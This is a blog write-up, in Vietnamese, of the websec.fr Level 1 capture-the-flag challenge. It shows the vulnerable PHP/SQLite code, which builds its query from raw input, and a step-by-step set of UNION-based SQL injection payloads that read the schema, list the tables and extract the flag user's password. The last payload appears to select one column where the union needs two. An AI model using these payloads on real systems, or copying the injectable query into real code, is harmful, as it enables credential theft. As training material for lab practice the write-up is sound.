[WebSec] Level 1

https://websec.fr/level01/index.php

Information Gathering

Sau khi nhìn sơ qua bối cảnh challenge, thì có 1 chỗ input là số để xem thông tin ID.
Và challenge cũng đã cho source sẵn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class LevelOne {
public function doQuery($injection) {
$pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);

$query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
$getUsers = $pdo->query($query);
$users = $getUsers->fetchArray(SQLITE3_ASSOC);

if ($users) {
return $users;
}

return false;
}
}

Với đoạn code trên, tại dòng 5. Nếu như mình truyền vào là dấu ‘, chữ cái, kí tự đặc biệt thì sẽ báo lỗi.

Lỗi khi nhập chữ a

Với source code và thông báo lỗi, mình xác định được đây là lỗi SQL injection trên SQLite3.

Exploit

Vì ID kiểu dữ liệu thường là số, nên mình sẽ dùng kỹ thuật khai thác là UNION.

  • Kiểm tra số cột được select.
1
2
1 order by 2 ==> OK
1 order by 3 ==> ERROR

Vậy là có 2 cột được select.

Tiếp theo cần xem các cột đó là gì.

1
2
1 and 1=2 union select sql,2 from sqlite_master
// CREATE TABLE users(id int(7), username varchar(255), password varchar(255))

Query được dùng

Xác định được table là users và các cột là id, username, password.

Tìm xem còn table nào ngoài users hay không?

1
1 and 1=2 union select group_concat(tbl_name),2 from sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'

Cuối cùng get flag thôi.

1
1 and 1=2 union select password from users where username="flag"

Flag


[WebSec] Level 1
https://dovankha.github.io/2022/07/19/lv1/
Author
Khado
Posted on
July 19, 2022
Licensed under